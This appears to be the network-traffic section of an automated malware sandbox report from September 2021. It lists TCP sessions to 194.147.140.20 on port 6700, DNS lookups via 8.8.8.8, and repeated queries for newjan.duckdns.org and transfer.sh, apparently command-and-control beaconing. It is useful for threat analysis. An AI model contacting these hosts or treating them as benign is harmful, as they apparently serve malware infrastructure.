                          Sep 14, 2021 21:27:10.394220114 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:10.394874096 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:10.630306959 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:10.632026911 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:10.876338959 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:10.956984997 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:11.001089096 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:11.045152903 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:11.187278032 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:11.246066093 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:11.282628059 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:11.693782091 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:11.880019903 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:11.888149023 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:12.074707031 CEST670049805194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:12.135874987 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:12.464140892 CEST498056700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:16.553081036 CEST498086700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:16.739269972 CEST670049808194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:16.739490986 CEST498086700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:16.740242958 CEST498086700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:16.926525116 CEST670049808194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:21.107053041 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:21.293241978 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:21.293340921 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:21.294131041 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:21.492234945 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:21.492846012 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:21.682204962 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:21.739885092 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:21.908369064 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:22.154660940 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:22.267029047 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:22.269555092 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:22.456368923 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:22.456531048 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:22.686069965 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:22.686323881 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:22.872999907 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:22.873652935 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:23.059861898 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:23.114970922 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:23.501483917 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:23.748718023 CEST670049815194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:24.620815039 CEST498156700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:28.816025019 CEST498186700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:29.002343893 CEST670049818194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:29.002485037 CEST498186700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:29.003583908 CEST498186700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:29.192095041 CEST670049818194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:33.460401058 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:33.646541119 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:33.646720886 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:33.657053947 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:33.854140997 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:33.854392052 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:34.107979059 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:34.110492945 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:34.296994925 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:34.298490047 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:34.545470953 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:34.626364946 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:34.635081053 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:34.821232080 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:34.821382999 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:35.071254969 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:35.096812010 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:35.284198999 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:35.335376024 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:35.521470070 CEST670049819194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:35.569139957 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:35.838390112 CEST498196700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:40.038556099 CEST498206700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:40.225450993 CEST670049820194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:40.226047993 CEST498206700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:40.297868013 CEST498206700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:40.484597921 CEST670049820194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:44.564011097 CEST498216700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:44.750647068 CEST670049821194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:44.750915051 CEST498216700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:44.751619101 CEST498216700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:44.938091040 CEST670049821194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:49.186592102 CEST498226700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:49.373737097 CEST670049822194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:49.374020100 CEST498226700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:49.423182964 CEST498226700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:49.610342979 CEST670049822194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:53.879772902 CEST498236700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:54.065994978 CEST670049823194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:54.066265106 CEST498236700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:54.126085997 CEST498236700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:54.319365978 CEST670049823194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:59.103744030 CEST498246700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:59.290867090 CEST670049824194.147.140.20192.168.2.3
                          Sep 14, 2021 21:27:59.290985107 CEST498246700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:59.291711092 CEST498246700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:27:59.477792025 CEST670049824194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:03.677308083 CEST498256700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:03.864880085 CEST670049825194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:03.865075111 CEST498256700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:03.865775108 CEST498256700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:04.051913977 CEST670049825194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:08.135503054 CEST498266700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:08.321682930 CEST670049826194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:08.321842909 CEST498266700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:08.324848890 CEST498266700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:08.511091948 CEST670049826194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:12.684062004 CEST498276700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:12.870167971 CEST670049827194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:12.870352030 CEST498276700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:12.871217966 CEST498276700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:13.057387114 CEST670049827194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:17.352936983 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:17.539138079 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:17.539318085 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:17.540004969 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:17.754652977 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:17.755278111 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:17.941898108 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:17.944720984 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.190838099 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.198754072 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.317507029 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.369853020 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.387609959 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.387856960 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.701236963 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.744803905 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.753467083 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.775645018 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:18.930932045 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:18.979306936 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:19.017844915 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:19.018028975 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:19.204828024 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:19.205064058 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:19.391335964 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:19.432434082 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:19.618710041 CEST670049828194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:19.666671038 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:20.198987961 CEST498286700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:24.379755974 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:24.566476107 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:24.566819906 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:24.568531990 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:24.766191006 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:24.766592979 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:24.954080105 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:24.956744909 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.206370115 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.261907101 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.380966902 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.433029890 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.448182106 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.448597908 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.619512081 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.667340994 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.705913067 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.706176996 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:25.892646074 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:25.932806969 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:26.120224953 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:26.167244911 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:26.293234110 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:26.533858061 CEST670049829194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:27.309560061 CEST498296700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:31.404861927 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:31.591737032 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:31.591974974 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:31.593192101 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:31.809231997 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:31.809664965 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:31.996597052 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:31.997782946 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:32.238338947 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:32.309037924 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:32.349280119 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:32.402124882 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:32.495248079 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:32.495405912 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:32.736864090 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:32.737066031 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:32.923741102 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:32.964764118 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:33.153037071 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:33.199168921 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:33.293706894 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:33.533910990 CEST670049830194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:34.293628931 CEST498306700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:38.492918015 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:38.679667950 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:38.681180954 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:38.682394981 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:38.878427029 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:38.878931046 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.065285921 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.067430019 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.309885979 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.310281038 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.406090021 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.449774981 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.498250961 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.498641968 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.747514009 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.747689962 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:39.934561968 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:39.981005907 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:40.167107105 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:40.215610027 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:40.294903040 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:40.528753996 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:43.883361101 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:43.934343100 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:44.120407104 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:44.168812037 CEST498316700192.168.2.3194.147.140.20
                          Sep 14, 2021 21:28:48.899246931 CEST670049831194.147.140.20192.168.2.3
                          Sep 14, 2021 21:28:48.951153040 CEST498316700192.168.2.3194.147.140.20

                          UDP Packets

                          TimestampSource PortDest PortSource IPDest IP
                          Sep 14, 2021 21:24:30.141052008 CEST5754453192.168.2.38.8.8.8
                          Sep 14, 2021 21:24:30.181873083 CEST53575448.8.8.8192.168.2.3
                          Sep 14, 2021 21:24:53.960676908 CEST5598453192.168.2.38.8.8.8
                          Sep 14, 2021 21:24:53.989196062 CEST53559848.8.8.8192.168.2.3
                          Sep 14, 2021 21:24:55.710597992 CEST6418553192.168.2.38.8.8.8
                          Sep 14, 2021 21:24:55.740967989 CEST53641858.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:02.825712919 CEST6511053192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:02.861623049 CEST53651108.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:22.354072094 CEST5836153192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:22.383896112 CEST53583618.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:22.900094032 CEST6349253192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:22.926932096 CEST53634928.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:40.462346077 CEST6083153192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:40.507560968 CEST53608318.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:46.172015905 CEST6010053192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:46.199171066 CEST53601008.8.8.8192.168.2.3
                          Sep 14, 2021 21:25:58.641526937 CEST5319553192.168.2.38.8.8.8
                          Sep 14, 2021 21:25:58.671535015 CEST53531958.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:03.400943995 CEST5014153192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:03.427778006 CEST53501418.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:08.341981888 CEST5302353192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:08.371023893 CEST53530238.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:09.795646906 CEST4956353192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:09.825735092 CEST53495638.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:11.306565046 CEST5135253192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:11.336559057 CEST53513528.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:11.637648106 CEST5934953192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:11.680094957 CEST53593498.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:14.323112965 CEST5708453192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:14.355699062 CEST53570848.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:20.690371037 CEST5882353192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:20.715367079 CEST53588238.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:21.083988905 CEST5756853192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:21.121450901 CEST53575688.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:23.091181040 CEST5054053192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:23.119180918 CEST53505408.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:28.607594967 CEST5436653192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:28.632878065 CEST53543668.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:36.011322021 CEST5303453192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:36.041050911 CEST53530348.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:42.134980917 CEST5776253192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:42.165178061 CEST53577628.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:48.216773033 CEST5543553192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:48.245083094 CEST53554358.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:52.855273962 CEST5071353192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:52.882893085 CEST53507138.8.8.8192.168.2.3
                          Sep 14, 2021 21:26:59.683003902 CEST5613253192.168.2.38.8.8.8
                          Sep 14, 2021 21:26:59.713449001 CEST53561328.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:04.241543055 CEST5898753192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:04.273861885 CEST53589878.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:09.330904961 CEST5657953192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:09.358345032 CEST53565798.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:15.055768967 CEST6063353192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:15.089458942 CEST53606338.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:16.132980108 CEST6129253192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:16.168643951 CEST53612928.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:16.516325951 CEST6361953192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:16.551768064 CEST53636198.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:16.981369019 CEST6493853192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:17.008920908 CEST53649388.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:17.550539017 CEST6194653192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:17.616024017 CEST53619468.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:18.308320045 CEST6491053192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:18.342386007 CEST53649108.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:18.920348883 CEST5212353192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:18.974312067 CEST53521238.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:19.502954006 CEST5613053192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:19.529427052 CEST53561308.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:20.687527895 CEST5633853192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:20.714548111 CEST53563388.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:20.981162071 CEST5942053192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:21.104878902 CEST53594208.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:21.536066055 CEST5878453192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:21.579407930 CEST53587848.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:22.479855061 CEST6397853192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:22.515583992 CEST53639788.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:28.776360989 CEST6293853192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:28.806245089 CEST53629388.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:33.333252907 CEST5570853192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:33.458976030 CEST53557088.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:39.990458965 CEST5680353192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:40.019915104 CEST53568038.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:44.537935019 CEST5714553192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:44.562189102 CEST53571458.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:49.057259083 CEST5535953192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:49.183542013 CEST53553598.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:53.847992897 CEST5830653192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:53.877830029 CEST53583068.8.8.8192.168.2.3
                          Sep 14, 2021 21:27:58.976510048 CEST6412453192.168.2.38.8.8.8
                          Sep 14, 2021 21:27:59.101586103 CEST53641248.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:03.646920919 CEST4936153192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:03.673754930 CEST53493618.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:08.102971077 CEST6315053192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:08.132808924 CEST53631508.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:12.653139114 CEST5327953192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:12.682612896 CEST53532798.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:17.105706930 CEST5688153192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:17.138993025 CEST53568818.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:24.252631903 CEST5364253192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:24.378030062 CEST53536428.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:31.377320051 CEST5566753192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:31.401758909 CEST53556678.8.8.8192.168.2.3
                          Sep 14, 2021 21:28:38.366832018 CEST5483353192.168.2.38.8.8.8
                          Sep 14, 2021 21:28:38.491381884 CEST53548338.8.8.8192.168.2.3

                          DNS Queries

                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                          Sep 14, 2021 21:24:53.960676908 CEST192.168.2.38.8.8.80x917Standard query (0)transfer.shA (IP address)IN (0x0001)
                          Sep 14, 2021 21:25:58.641526937 CEST192.168.2.38.8.8.80x592eStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:03.400943995 CEST192.168.2.38.8.8.80xdfb4Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:09.795646906 CEST192.168.2.38.8.8.80x1e2aStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:14.323112965 CEST192.168.2.38.8.8.80x2362Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:20.690371037 CEST192.168.2.38.8.8.80xdf3eStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:28.607594967 CEST192.168.2.38.8.8.80xf267Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:36.011322021 CEST192.168.2.38.8.8.80x20ceStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:42.134980917 CEST192.168.2.38.8.8.80xebf6Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:48.216773033 CEST192.168.2.38.8.8.80x38d4Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:52.855273962 CEST192.168.2.38.8.8.80x2aeStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:26:59.683003902 CEST192.168.2.38.8.8.80x2147Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:04.241543055 CEST192.168.2.38.8.8.80xb1f8Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:09.330904961 CEST192.168.2.38.8.8.80xba8aStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:16.516325951 CEST192.168.2.38.8.8.80x9665Standard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
                          Sep 14, 2021 21:27:20.981162071 CEST192.168.2.38.8.8.80x366dStandard query (0)newjan.duckdns.orgA (IP address)IN (0x0001)
